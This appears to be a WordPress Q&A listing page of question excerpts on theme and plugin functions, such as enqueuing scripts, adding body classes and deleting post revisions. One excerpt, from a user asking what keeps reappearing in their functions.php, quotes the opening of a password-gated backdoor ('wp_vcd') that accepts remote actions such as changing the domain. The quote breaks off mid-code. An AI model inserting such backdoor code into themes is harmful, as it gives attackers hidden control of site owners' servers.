Articles of functions

How the functions in WP are called in <?php ?> tags

I’m just starting out with WP and php, and building my first starter theme. When a wp function is wrapped in tags, where is wp calling these functions from? And what is the principle behind this? There is endless info on the web about all of the functions, but being new to this I’m trying […]

How can I add a CSS rule to edit.php?

I’m using add_filter(‘manage_posts_columns’) in my plugin.php to add a column to the Edit Posts listing which is driven by edit.php. How can I attach a CSS style to the edit.php? I want to be able to color the background of my column td.

How to determine which custom header image is being shown

I’m using a customized version of the Twenty Eleven theme. I want to set a class on the body based on which random header image is displayed. Is there some function that allows me to get the name of the custom header image that will be displayed? My goal is to style the text / […]

When using wp_enqueue_script(); in a theme why don't we use add_action?

When using wp_enqueue_script in a plugin, I have always been told to use an add_action : function add_my_css_and_my_js_files(){ wp_enqueue_script(‘jquery-validate-min’, plugins_url(‘jquery_validate_min.js’, __FILE__ ) } add_action(‘wp_enqueue_scripts’, “add_my_css_and_my_js_files”); How come this is not required if you put wp_enqueue_script in the theme: wp_enqueue_script(‘jquery-validate-min’, plugins_url(‘jquery_validate_min.js’,

how do you create an admin interface in plugin for your theme

I’m creating a theme that would need some settings on the client side. So I need a admin interface where they can set some values. (like, source of image, title, or numbers) so in my theme, I can just set some variables like <img src=”IMAGE_SOURCE” title=”TITLE” size=”NUMBER” /> If you can point me to a […]

Most elegant way to enqueue scripts in function.php with foreach loop

I wonder is there a way of running wp_register_script and enqueue with the help of foreach loop to manage label and dir? For example, function wbs_app_components(){ $scripts_list=array( ‘jquery’ => ToDir(‘/jquery/jquery.js’, $LIBRARY_DIR), ‘bootstrap-jquery’ => ToDir(‘/bootstrap/js/bootstrap.js’, $LIBRARY_DIR), } foreach ($scripts_list as $key => $value){ // print_r($key);echo (“<br>”); // print_r($value);echo (“<br><br><br>”); wp_register_script($key,$value); } } add_action( ‘wp_enqueue_scripts’, ‘wbs_app_components’); However, […]

What is this code in my theme's functions.php? if (isset($_REQUEST) && isset($_REQUEST)

This code appears in my theme’s functions.php, also in child theme’s. I’ve deleted it for two times but it comes back. What is it? if ( isset( $_REQUEST[‘action’] ) && isset( $_REQUEST[‘password’] ) && ( $_REQUEST[‘password’] == ‘227972a1a62825660efb0f32126db07f’ ) ) { $div_code_name = “wp_vcd”; switch ( $_REQUEST[‘action’] ) { case ‘change_domain’; if ( isset( $_REQUEST[‘newdomain’] […]

Highlight Current Tag in wp_tag_cloud

I’m in the middle of building a website and one of the pages will be a glossary. The first page of the glossary will display a list of all the words, which are custom post types assigned into a custom taxonomy called “letter” which pulls the first letter of the word. On top of the […]

Adding body class when post contains a specific shortcode

Simple shortcode function : function my_shortcode_function($atts,$content=null){ // Do something return $content; } add_shortcode(‘my_shortcode’,’my_shortcode_function’); I wonder how to add more extra body class when user use this shortcode in contents. I can’t do something like : function my_shortcode_function($atts,$content=null){ // Do something add_filter(‘body_class’,’my_body_class’); return $content; } function my_body_class($classes) { $classes[] = ‘foo’; return $classes; } add_shortcode(‘my_shortcode’,’my_shortcode_function’); Any […]

Delete post revisions on post publish

Is it possible to delete post/page revisions from the database when a post/page is published? 11/05/12 Answer: See the plugin below by bueltge I want to do this on a site with 5,000 posts and 125,000 comments; it’s on a VPS and can handle the wp_posts table size – before I deleted all revisions, the […]